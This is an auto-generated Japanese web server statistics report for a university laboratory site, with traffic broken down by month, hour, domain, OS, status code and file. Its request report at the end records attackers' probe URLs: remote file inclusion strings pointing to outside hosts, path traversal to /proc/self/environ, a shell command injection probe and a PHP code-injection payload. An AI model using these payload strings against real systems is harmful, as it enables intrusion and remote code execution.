ウェブサーバの統計 [Murakoshi Laboratory, Department of Knowledge-based Information Engineering, Toyohashi University of Technology]

統計開始日時: 2011年 1月14日(金) 00時14分.
解析対象期間: 2007年 8月31日(金) 16時32分 〜 2011年 1月14日(金) 00時17分 (1231.32 日).

全体の概要

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、全体の統計を表します。

(括弧内の数字は 右の日時までの最近7日間の集計: 2011年 1月14日 00時14分).
リクエスト成功件数: 62,538 (12,364)
上記の日別平均: 50 (1,766)
ホームページへのリクエスト成功件数: 58,535 (11,119)
上記の日別平均: 47 (1,588)
リクエスト不成功件数: 32,981 (7,741)
リダイレクトされたリクエスト件数: 15,018 (5,129)
リクエストされたファイル数: 16,143 (3,765)
サービスホスト数: 1,596 (656)
異常ログ行数: 60
不必要ログ項目数: 1,151
データ転送量: 11.457 G バイト (1.917 G バイト)
上記の日別平均: 9.527 M バイト (280.522 M バイト)


月別レポート

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、月別の統計を表します。

1単位 (+) は 1,500 ページのリクエスト あるいはその値未満を表す.

        月: リクエスト数: ページ数: 
----------: ------------: --------: 
2009年 8月:            4:        4: +
2009年 9月:            0:        0: 
2009年10月:            0:        0: 
2009年11月:            0:        0: 
2009年12月:            0:        0: 

2010年 1月:            0:        0: 
2010年 2月:            1:        1: +
2010年 3月:            0:        0: 
2010年 4月:            0:        0: 
2010年 5月:            0:        0: 
2010年 6月:            0:        0: 
2010年 7月:            0:        0: 
2010年 8月:            0:        0: 
2010年 9月:            0:        0: 
2010年10月:            0:        0: 
2010年11月:            0:        0: 
2010年12月:        35629:    33715: +++++++++++++++++++++++

2011年 1月:        26904:    24815: +++++++++++++++++
最も混雑した月: 2010年12月 (33,715 ページのリクエスト).

曜日別集計

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、全週の曜日別総和の統計を表します。

1単位 (+) は 300 ページのリクエスト あるいはその値未満を表す.

日: リクエスト数: ページ数: 
--: ------------: --------: 
日:         9427:     8693: +++++++++++++++++++++++++++++
月:         6944:     6491: ++++++++++++++++++++++
火:         9424:     8686: +++++++++++++++++++++++++++++
水:        11638:    10925: +++++++++++++++++++++++++++++++++++++
木:        10229:     9640: +++++++++++++++++++++++++++++++++
金:         8297:     7906: +++++++++++++++++++++++++++
土:         6579:     6194: +++++++++++++++++++++

時間別集計

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、全ての日の時間別総和の統計を表します。

1単位 (+) は 150 ページのリクエスト あるいはその値未満を表す.

時間: リクエスト数: ページ数: 
----: ------------: --------: 
 0時:         2897:     2710: +++++++++++++++++++
 1時:         2313:     2186: +++++++++++++++
 2時:         3671:     3446: +++++++++++++++++++++++
 3時:         3711:     3569: ++++++++++++++++++++++++
 4時:         3820:     3634: +++++++++++++++++++++++++
 5時:         2816:     2671: ++++++++++++++++++
 6時:         2750:     2629: ++++++++++++++++++
 7時:         2766:     2661: ++++++++++++++++++
 8時:         2122:     1990: ++++++++++++++
 9時:         2377:     2207: +++++++++++++++
10時:         2402:     2272: ++++++++++++++++
11時:         2165:     1993: ++++++++++++++
12時:         2517:     2291: ++++++++++++++++
13時:         2388:     2197: +++++++++++++++
14時:         2517:     2347: ++++++++++++++++
15時:         2517:     2190: +++++++++++++++
16時:         2711:     2396: ++++++++++++++++
17時:         1590:     1458: ++++++++++
18時:         2159:     2032: ++++++++++++++
19時:         2109:     1967: ++++++++++++++
20時:         2320:     2195: +++++++++++++++
21時:         2413:     2286: ++++++++++++++++
22時:         2171:     2040: ++++++++++++++
23時:         3316:     3168: ++++++++++++++++++++++

ドメインレポート

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、ファイルをリクエストした国の統計を表します。

扇型の角度: 通信量.
.com (企業ドメイン)
[未解決 IP アドレス]
.net (ネットワーク団体)
.uk (イギリス)
.br (ブラジル)
.ua (ウクライナ)
.ru (ロシア連邦)
.pl (ポーランド)
.tr (トルコ)
その他

ドメイン の表:, ソート順は 通信量.

リクエスト数: バイト数の割合(%): ドメイン
------------: --------------------: --------
       33176:               43.04%: .com (企業ドメイン)
       16357:               20.89%:   googlebot.com
        2923:                1.92%:   google.com
         547:                1.55%:   amazonaws.com
         388:                1.00%:   theplanet.com
         324:                0.97%:   centraldnserver.com
         274:                0.81%:   blueeyehosting.com
         374:                0.72%:   cwihosting.com
         287:                0.59%:   californiaesolutions.com
        4180:                0.55%:   msn.com
         240:                0.51%:   altushost.com
        8912:               16.33%: [未解決 IP アドレス]
        4671:               10.00%: .net (ネットワーク団体)
        1202:                2.72%:   enta.net
         380:                0.76%:   secureserver.net
         268:                0.74%:   axialdev.net
         278:                0.67%:   sparkstation.net
        3963:                7.87%: .uk (イギリス)
        2095:                4.96%: .br (ブラジル)
        1024:                2.29%: .ua (ウクライナ)
        1112:                1.82%: .ru (ロシア連邦)
         605:                1.43%: .pl (ポーランド)
         532:                1.16%: .tr (トルコ)
         283:                0.98%: .edu (米国教育機関)
         269:                0.95%:   pnca.edu
         505:                0.95%: [未知ドメイン名]
         468:                0.95%: .de (ドイツ)
         985:                0.85%: .jp (日本)
         225:                0.81%: .au (オーストラリア)
         428:                0.72%: .nl (オランダ王国)
         305:                0.60%: .ro (ルーマニア)
         283:                0.59%: .it (イタリア)
         901:                0.41%: .no (ノルウェー王国)
         145:                0.37%: .es (スペイン)
         120:                0.34%: .md (モルドバ)
         160:                0.31%: .th (タイ王国)
         140:                0.31%: .cl (チリ)
         108:                0.25%: .vn (ベトナム)
         102:                0.24%: .kz (カザフスタン)
         128:                0.23%: .cz (チェコ共和国)
          76:                0.20%: .hu (ハンガリー)
          84:                0.18%: .ie (アイルランド)
          83:                0.17%: .dk (デンマーク王国)
          83:                0.15%: .org (任意団体)
          51:                0.12%: .lt (リトアニア)
          53:                0.11%: .tw (台湾)
          50:                0.11%: .lu (ルクセンブルク大公国)
          38:                0.09%: .mx (メキシコ合衆国)
          42:                0.08%: .fr (フランス)
          36:                0.08%: .sk (スロバキア)
          33:                0.08%: .py (パラグアイ)
          29:                0.08%: .ch (スイス連邦)
          30:                0.06%: .bg (ブルガリア)
          30:                0.05%: .lv (ラトビア)
          24:                0.05%: .gr (ギリシャ)
          22:                0.05%: .in (インド)
          14:                0.05%: .at (オーストリア)
          20:                0.04%: .ee (エストニア)
          15:                0.04%: .za (南アフリカ)
          14:                0.04%: .ve (ベネズエラ)
          19:                0.04%: .il (イスラエル)
          31:                0.03%: .kr (大韓民国)
          16:                0.03%: .fi (フィンランド)
          24:                0.03%: .co (コロンビア)
          16:                0.03%: .id (インドネシア共和国)
          15:                0.03%: .ir (イラン)
          12:                0.03%: .hr (クロアチア)
          12:                0.03%: .is (アイスランド)
          13:                0.02%: .se (スウェーデン王国)
           6:                0.02%: .arpa ((Arpanet))
           8:                0.01%: .by (ベラルーシ)
         128:                0.01%: [ドメイン名未付与]
           7:                0.01%: .ca (カナダ)
           4:                0.01%: .cc (ココス諸島(オーストラリア領))
           7:                0.01%: .sg (シンガポール)
           4:                0.01%: .om (オマーン)
           2:                0.01%: .be (ベルギー王国)
           5:                0.01%: .ke (ケニア)
           2:                0.01%: .cn (中華人民共和国)
           2:                     : .ph (フィリピン共和国)
           1:                     : .us (アメリカ合衆国)
           1:                     : .ma (モロッコ)

組織別レポート

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、ファイルをリクエストをしたコンピュータのドメインの統計を表します。

扇型の角度: リクエスト数.
googlebot.com
[未解決 IP アドレス]
msn.com
google.com
turbodns.co.uk
enta.net
bio-medical.co.uk
saxondata.co.uk
bbse.no
vitaldobrasil.com.br
その他

上位 20 組織 の表: 基準は リクエスト数, ソート順は リクエスト数.

リクエスト数: バイト数の割合(%): 組織
------------: --------------------: ----
       16357:               20.89%: googlebot.com
        9040:               16.34%: [未解決 IP アドレス]
        4180:                0.55%: msn.com
        2923:                1.92%: google.com
        1631:                3.25%: turbodns.co.uk
        1202:                2.72%: enta.net
         939:                1.61%: bio-medical.co.uk
         929:                1.94%: saxondata.co.uk
         884:                0.34%: bbse.no
         834:                2.09%: vitaldobrasil.com.br
         709:                0.37%: crawl.baidu.jp
         613:                1.35%: com.br
         547:                1.55%: amazonaws.com
         505:                0.95%: [未知ドメイン名]
         498:                0.99%: in.ua
         481:                0.17%: 2dayhost.com
         476:                1.06%: netdirekt.com.tr
         408:                0.93%: krm.net.ua
         392:                0.04%: yandex.ru
         388:                1.00%: theplanet.com
       18602:               39.95%: [その他: 621 組織]

検索語レポート

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、ユーザがこのサイトを発見するのに、検索エンジンで使用した言葉の統計を表します。

扇型の角度: リクエスト数.
merge
data
by
envi
迷路
強化学習
STDP
weber
その他

上位 30 検索単語 の表: 基準は リクエスト数, ソート順は リクエスト数 .

リクエスト数: 検索単語
------------: --------
          25: merge
          25: data
          25: by
          25: envi
           7: 迷路
           4: 強化学習
           4: STDP
           3: weber
           2: in
           2: Weber
           2: 学習
           2: Fechnerの法則
           2: q学習
           2: levelset
           2: 綣桁絖膺菴決君
           2: fechner
           2: 莇筝
           1: neighborhood
           1: method
           1: 意味記憶
           1: amount
           1: GHSOM
           1: 論文
           1: 基準
           1: law
           1: 画像
           1: short
           1: mod_so
           1: 
           1: apache
          84: [その他: 84 検索語句]

OSレポート

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、ユーザの OS の統計を表します。

扇型の角度: ページリクエスト数.
その他のOS
Windows
Mobile Phones
ロボット
その他

OS の表:, ソート順は ページリクエスト数.

番号: リクエスト数: ページ数: OS
----: ------------: --------: ----
   1:        39160:    36428: その他のOS
   2:        16464:    15927: Windows
    :        10986:    10960:   その他のWindows
    :         4835:     4344:   Windows 2000
    :          338:      319:   Windows NT
    :          150:      150:   Windows 95
    :           81:       80:   Windows Me
    :           36:       36:   Windows 98
    :           23:       23:   Windows 3.1
    :           10:       10:   Windows CE
    :            5:        5:   Windows 32-bit
   3:         4884:     4247: Mobile Phones
    :         2938:     2389:   DoCoMo(ja)
    :         1946:     1858:   WAP
   4:         1496:     1442: ロボット
   5:          346:      327: Unix
    :          242:      223:   Linux
    :           80:       80:   SunOS
    :           20:       20:   その他のUNIX
    :            4:        4:   BSD
   6:           82:       61: Macintosh
    :           49:       49:   Macintosh PowerPC
    :           33:       12:   その他のMacintosh
   7:           17:       17: OS/2
   8:            8:        8: BeOS

状態コードレポート

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、全てのリクエストの HTTP 状態コードの統計を表します。

扇型の角度: リクエスト数.
200 OK
301 恒久的移動
304 最近の検索以来変更無し
403 アクセス禁止
404 ページ不在
その他

状態コード の表:, ソート順は状態コード.

リクエスト数: 状態コード
------------: ----------
       60039: 200 OK
         131: 206 断片情報
       15018: 301 恒久的移動
        2368: 304 最近の検索以来変更無し
          18: 400 不法リクエスト
       23283: 403 アクセス禁止
        9645: 404 ページ不在
          35: 405 不法メソッド

ファイルサイズレポート

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、ファイルの大きさの統計を表します。

扇型の角度: リクエスト数.
0
1kb- 10kb
10kb-100kb
100kb- 1Mb
その他

     サイズ: リクエスト数: バイト数の割合(%): 
-----------: ------------: --------------------: 
          0:         2911:                     : 
   1b-  10b:            0:                     : 
  11b- 100b:           14:                     : 
 101b-  1kb:          108:                     : 
  1kb- 10kb:         7748:                0.38%: 
 10kb-100kb:         8235:                1.59%: 
100kb-  1Mb:        43466:               96.65%: 
  1Mb- 10Mb:           56:                1.38%: 

ファイル種類別レポート

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、リクエストされたファイルの拡張子の統計を表します。

扇型の角度: 通信量.
[ディレクトリ]
.pdf [Adobe Portable Document Format]
.html [Hypertext Markup Language]

拡張子 の表: 最小は 0.1% の通信量, ソート順は 通信量.

リクエスト数: バイト数の割合(%): 拡張子
------------: --------------------: ------
       46877:               96.12%: [ディレクトリ]
         737:                1.73%: .pdf  [Adobe Portable Document Format]
       11658:                1.69%: .html [Hypertext Markup Language]
        2028:                0.27%: .en
        1238:                0.19%: [その他: 13 拡張子]

ディレクトリレポート

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、ファイルがリクエストされたディレクトリの統計を表します。(各ディレクトリの数値は全てのサブディレクトリも含みます。)

扇型の角度: 通信量.
/accesswatch/
/manual/
/~mura/

ディレクトリ の表: 最小は 0.01% の通信量, ソート順は 通信量.

リクエスト数: バイト数の割合(%): ディレクトリ
------------: --------------------: ------------
       43328:               96.15%: /accesswatch/
       14911:                1.95%: /manual/
        1150:                1.77%: /~mura/
        2161:                0.06%: [ルートディレクトリ]
         496:                0.04%: /gakui/
         175:                0.02%: /manual-ja/
         317:                0.01%: [その他: 9 ディレクトリ]

リクエストレポート

(Go To: 先頭: 全体の概要: 月別レポート: 曜日別集計: 時間別集計: ドメインレポート: 組織別レポート: 検索語レポート: OSレポート: 状態コードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

このレポートは、サイトのファイルの統計を表します。

扇型の角度: リクエスト数.
/accesswatch/
/
その他

ファイル の表: 最小は 20 リクエスト, ソート順は リクエスト数.

リクエスト数: バイト数の割合(%):        最終アクセス時刻: ファイル
------------: --------------------: -----------------------: --------
       43224:               96.00%: 2011年 1月14日 00時13分: /accesswatch/
         766:                1.54%: 2010年12月31日 14時15分:   /accesswatch/?_/modules/vwar/contact.php
         753:                1.53%: 2011年 1月06日 22時21分:   /accesswatch/?_/contact.php
         740:                1.50%: 2010年12月31日 14時15分:   /accesswatch/?_/modules/contact.php
         559:                1.41%: 2011年 1月13日 21時54分:   /accesswatch/?custompluginf...s/contact.php
         416:                0.88%: 2010年12月31日 12時25分:   /accesswatch/?_/modules/vwar/admin/contact.php
         413:                1.07%: 2011年 1月13日 21時54分:   /accesswatch/?custompluginf...s/phpsecurityadmin/include/contact.php
         412:                1.07%: 2011年 1月13日 21時54分:   /accesswatch/?custompluginf...s/phpsecurityadmin/contact.php
         393:                1.00%: 2011年 1月13日 21時54分:   /accesswatch/?custompluginf...s/phpsecurityadmin/include/logout.php/contact.php
         388:                0.83%: 2010年12月31日 12時25分:   /accesswatch/?_/modules/vwar/admin/admin.php/contact.php
         232:                0.46%: 2011年 1月01日 06時56分:   /accesswatch/?_/modules/vwar//contact.php
         230:                0.57%: 2011年 1月13日 18時13分:   /accesswatch/?custompluginf...zboard/data/include/bbs.lib.inc.php
         213:                0.43%: 2011年 1月01日 06時56分:   /accesswatch/?_//contact.php
         208:                0.42%: 2011年 1月01日 06時56分:   /accesswatch/?_/modules//contact.php
         201:                0.41%: 2010年12月30日 17時36分:   /accesswatch/?/contact.php
         193:                0.40%: 2010年12月30日 17時36分:   /accesswatch/?/main.php/contact.php
         189:                0.45%: 2011年 1月13日 04時06分:   /accesswatch/?customp/vwar/vwar/gnuboard4/bbs/write_comment_update.php/
         179:                0.33%: 2010年12月31日 14時15分:   /accesswatch/?_/modules/vwar/admin %A1%C4/contact.php
         172:                0.33%: 2010年12月31日 08時35分:   /accesswatch/?_/modules/vwar/admin %E2%80%A6/contact.php
         137:                0.30%: 2011年 1月06日 09時35分:   /accesswatch/?custompluginf.../contact.php
         133:                0.35%: 2011年 1月13日 18時24分:   /accesswatch/?////xc3////x83////xc2////xaf////xc3////x82////xc2////xbd////xc3////x82////xc2////xa7E?////xc3////x83////xe2////x80////xa6////xc3////x82////xc2////xa1EE?////xc3////x83////xe2////x80////xa6////xc3////x82////xc2////xa1EE/contact.php
         128:                0.29%: 2010年12月31日 10時44分:   /accesswatch/?//contact.php
         124:                0.28%: 2011年 1月13日 22時58分:   /accesswatch/?sourcedir=www...erequest/req//s_loadenv.inc.php
         123:                0.28%: 2010年12月29日 21時23分:   /accesswatch/?/main.php//contact.php
         123:                0.28%: 2011年 1月13日 22時49分:   /accesswatch/?custompluginf...zboard/data//include/bbs.lib.inc.php?site_path=http://zardfan.new21.net//bbs//cs/id1
         122:                0.28%: 2011年 1月13日 23時25分:   /accesswatch/?custompluginf.../vwar/?deks=http://www.ddc.or.kr////FCK/.svn/tmp/props/head
         122:                0.28%: 2011年 1月13日 23時01分:   /accesswatch/?custompluginf...opsgallery//modules/xoopsgallery/init_basic.php
         121:                0.28%: 2011年 1月13日 23時27分:   /accesswatch/?custo/bbs/to...p:/
         120:                0.27%: 2011年 1月13日 22時51分:   /accesswatch/?custo/bbs/ski...isite.fr/id?
         118:                0.26%: 2011年 1月13日 23時51分:   /accesswatch/?custompluginf...nia-jkt.sch.id/upload/id1/public_includes/pub_blocks/activecontent.php
         117:                0.27%: 2011年 1月13日 23時49分:   /accesswatch/?custompluginf...php/index.php
         117:                0.27%: 2011年 1月13日 22時52分:   /accesswatch/?custompluginf...ia-jkt.sch.id/upload///main.php
         115:                0.24%: 2011年 1月01日 06時56分:   /accesswatch/?_/modules/vwar/admin//contact.php
         103:                0.24%: 2011年 1月13日 01時24分:   /accesswatch/?custompluginf...s//contact.php
          95:                0.21%: 2010年12月29日 12時15分:   /accesswatch/?path=|echo "casper";echo "kae";|
          93:                0.21%: 2010年12月29日 12時15分:   /accesswatch/?path=http://www.kiralymezoterapia.hu/e107_plugins/log/logs/ckrid1.txt??
          91:                0.20%: 2011年 1月01日 06時56分:   /accesswatch/?_/modules/vwar/admin/admin.php//contact.php
          88:                0.18%: 2010年12月31日 22時24分:   /accesswatch/?custompluginf.../phpsecurityadmin/contact.php
          87:                0.18%: 2010年12月31日 22時24分:   /accesswatch/?custompluginf.../phpsecurityadmin/include/contact.php
          86:                0.27%: 2011年 1月13日 14時02分:   /accesswatch/?option=com_rwcards&view=rwcards&controller=..//..//..//..//..//..//..//..///proc/self/environ%0000
          86:                0.17%: 2011年 1月13日 15時18分:   /accesswatch/?sourcedir=www.ackerbell.com/errors.php?error=http:/www.laxestereo.com/liverequest/req/copyright???/errors.php?error=http://www.topumpitup.co.kr//zeroboard/dmp/id1
          83:                0.17%: 2010年12月31日 22時24分:   /accesswatch/?custompluginf.../phpsecurityadmin/include/logout.php/contact.php
          80:                     : 2011年 1月06日 00時34分:   /accesswatch/?_zb_path=http...pil.dk/webalizer/.readme/index.php
          78:                0.17%: 2011年 1月01日 01時25分:   /accesswatch/?cu/contact.php
          77:                0.19%: 2011年 1月13日 05時34分:   /accesswatch/?custompluginf...s/ph %A1%C4/contact.php
          76:                0.18%: 2011年 1月13日 01時24分:   /accesswatch/?custompluginf...s/phpsecurityadmin//contact.php
          75:                0.17%: 2011年 1月13日 01時24分:   /accesswatch/?custompluginf...s/phpsecurityadmin/include//contact.php
          74:                0.16%: 2011年 1月13日 19時28分:   /accesswatch/?////xc3////x83////xc %A1%C4/contact.php
          73:                0.17%: 2011年 1月13日 01時24分:   /accesswatch/?custompluginf...s/phpsecurityadmin/include/logout.php//contact.php
          72:                0.18%: 2011年 1月02日 18時32分:   /accesswatch/?customp/contact.php
          66:                0.12%: 2010年12月31日 10時41分:   /accesswatch/?_/modules/vwar/admin %A1%C4//contact.php
          61:                0.14%: 2011年 1月13日 21時13分:   /accesswatch/?custo/skin/skin/zero%A1%C4//error.php
          61:                0.16%: 2011年 1月11日 15時43分:   /accesswatch/?custompluginf...s/ph %E2%80%A6/contact.php
          60:                0.14%: 2011年 1月02日 05時51分:   /accesswatch/?option=com_hsconfig&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          60:                0.14%: 2011年 1月11日 08時57分:   /accesswatch/?custompluginf...wno....o/encapscms_PATH//index.php?option=com_hsconfig&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000
          60:                0.10%: 2011年 1月08日 16時41分:   /accesswatch/?option=com_hsconfig&controller=..//..//..//..//..//..//..//..///proc/self/environ%00
          58:                0.15%: 2011年 1月12日 22時49分:   /accesswatch/?////xc3////x83////xc %E2%80%A6/contact.php
          58:                0.13%: 2011年 1月13日 23時52分:   /accesswatch/?custo/skin/skin/zero%E2%80%A6//error.php
          58:                0.17%: 2011年 1月12日 23時47分:   /accesswatch/?custo/contact.php
          56:                0.13%: 2011年 1月11日 08時57分:   /accesswatch/?custompluginf...wno....o/encapscms_PATH/core//index.php?option=com_hsconfig&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000
          55:                0.09%: 2010年12月25日 12時48分:   /accesswatch/?option=com_hsconfig&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000
          54:                0.10%: 2010年12月31日 10時50分:   /accesswatch/?_/modules/vwar/admin %E2%80%A6//contact.php
          53:                0.12%: 2010年12月31日 09時34分:   /accesswatch/?cu//contact.php
          52:                0.12%: 2011年 1月13日 15時19分:   /accesswatch/?_zb_path=http.../includes//includes/class_item.php?fileExtension=http://www.diakonia-jkt.sch.id/upload/id1
          51:                0.14%: 2011年 1月02日 18時32分:   /accesswatch/?customp/vwar/contact.php
          47:                0.11%: 2011年 1月02日 13時10分:   /accesswatch/?customp//contact.php
          41:                0.09%: 2011年 1月13日 15時19分:   /accesswatch/?customp/vwar/vwar/gnuboard4//bbs/write_comment_update.php/?board_skin_path=http://www.uri.edu/uri/satu
          41:                0.09%: 2011年 1月12日 15時08分:   /accesswatch/?custompluginf...flec%E2%80%A6/errors.php
          39:                0.11%: 2011年 1月13日 22時22分:   /accesswatch/?custompluginf...s/phpsecurityadmin///administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=http://www.healthbeyond2000.co.nz/shop/pma/themes/original/css/idnew.txt???
          39:                0.09%: 2010年12月29日 12時16分:   /accesswatch/?customp//?path=|echo "casper";echo "kae";|
          39:                0.11%: 2011年 1月13日 22時22分:   /accesswatch/?custompluginf...s/phpsecurityadmin/include///administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=http://www.healthbeyond2000.co.nz/shop/pma/themes/original/css/idnew.txt???
          39:                0.11%: 2011年 1月13日 22時22分:   /accesswatch/?custompluginf...s/phpsecurityadmin/include/logout.php///administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=http://www.healthbeyond2000.co.nz/shop/pma/themes/original/css/idnew.txt???
          39:                0.11%: 2011年 1月13日 22時22分:   /accesswatch/?custompluginf...s///administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=http://www.healthbeyond2000.co.nz/shop/pma/themes/original/css/idnew.txt???
          38:                0.09%: 2010年12月29日 12時15分:   /accesswatch/?customp//?path=http://www.kiralymezoterapia.hu/e107_plugins/log/logs/ckrid1.txt??
          37:                0.10%: 2011年 1月02日 07時40分:   /accesswatch/?customp/vwar/...dtube/wordtube-button.php/wp-content/plugins/wordtube/contact.php
          37:                0.10%: 2011年 1月02日 07時40分:   /accesswatch/?customp/vwar/...dtube/wordtube-button.php/wp-content/plugins/contact.php
          36:                0.06%: 2011年 1月11日 22時17分:   /accesswatch/?customp/vwar/vwar/gnuboard4/bbs/write_comment_update.php/?board_skin_path=http://www.uri.edu/uri/satu
          36:                0.08%: 2010年12月29日 12時16分:   /accesswatch/?customp/vwar//?path=|echo "casper";echo "kae";|
          36:                0.08%: 2010年12月29日 12時16分:   /accesswatch/?customp/vwar//?path=http://www.kiralymezoterapia.hu/e107_plugins/log/logs/ckrid1.txt??
          36:                0.08%: 2011年 1月13日 12時10分:   /accesswatch/?////xc3////x83////xc2////xaf////xc3////x82////xc2////xbd////xc3////x82////xc2////xa7E?////xc3////x83////xe2////x80////xa6////xc3////x82////xc2////xa1EE?////xc3////x83////xe2////x80////xa6////xc3////x82////xc2////xa1EE//contact.php
          35:                0.10%: 2011年 1月01日 13時26分:   /accesswatch/?customp/vwar/...dtube/wordtube-button.php/contact.php
          35:                0.10%: 2011年 1月01日 13時26分:   /accesswatch/?customp/vwar/...dtube/wordtube-button.php/wp-content/plugins/wordtube/wordtube-button.php/contact.php
          35:                0.10%: 2011年 1月01日 13時26分:   /accesswatch/?customp/vwar/...dtube/contact.php
          35:                0.08%: 2011年 1月12日 10時23分:   /accesswatch/?custompluginf...wno....o/encapscms_PATH/core/core.php/comments.php?id={${include($ddd)}}{${exit()}}&ddd=http://www.pittsborobaptistchurch.org/ministries/images/stories/idx
          35:                0.10%: 2011年 1月01日 13時26分:   /accesswatch/?customp/vwar/...dtube/wordtube-button.php/wp-content/contact.php
          34:                0.08%: 2010年12月29日 12時16分:   /accesswatch/?_//?path=|echo "casper";echo "kae";|
          33:                0.07%: 2010年12月30日 17時35分:   /accesswatch/?cu/index.php/contact.php
          33:                0.07%: 2010年12月29日 12時16分:   /accesswatch/?_//?path=http://www.kiralymezoterapia.hu/e107_plugins/log/logs/ckrid1.txt??
          32:                0.08%: 2010年12月30日 11時31分:   /accesswatch/?cu/plugins/contact.php
          32:                0.08%: 2010年12月30日 11時31分:   /accesswatch/?cu/plugins/safehtml/contact.php
          31:                0.07%: 2010年12月31日 11時21分:   /accesswatch/?_/modules/vwar/admin//index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          31:                0.07%: 2011年 1月12日 05時13分:   /accesswatch/?custompluginf...com/components/com_forum/forum.php
          31:                0.05%: 2011年 1月10日 22時13分:   /accesswatch/?custo/main.p...h.com/servicios/comments.php?id={${include($ddd)}}{${exit()}}&ddd=http://skluyangkk.edu.my/images/tukulid
          31:                0.07%: 2011年 1月02日 13時10分:   /accesswatch/?customp/vwar//contact.php
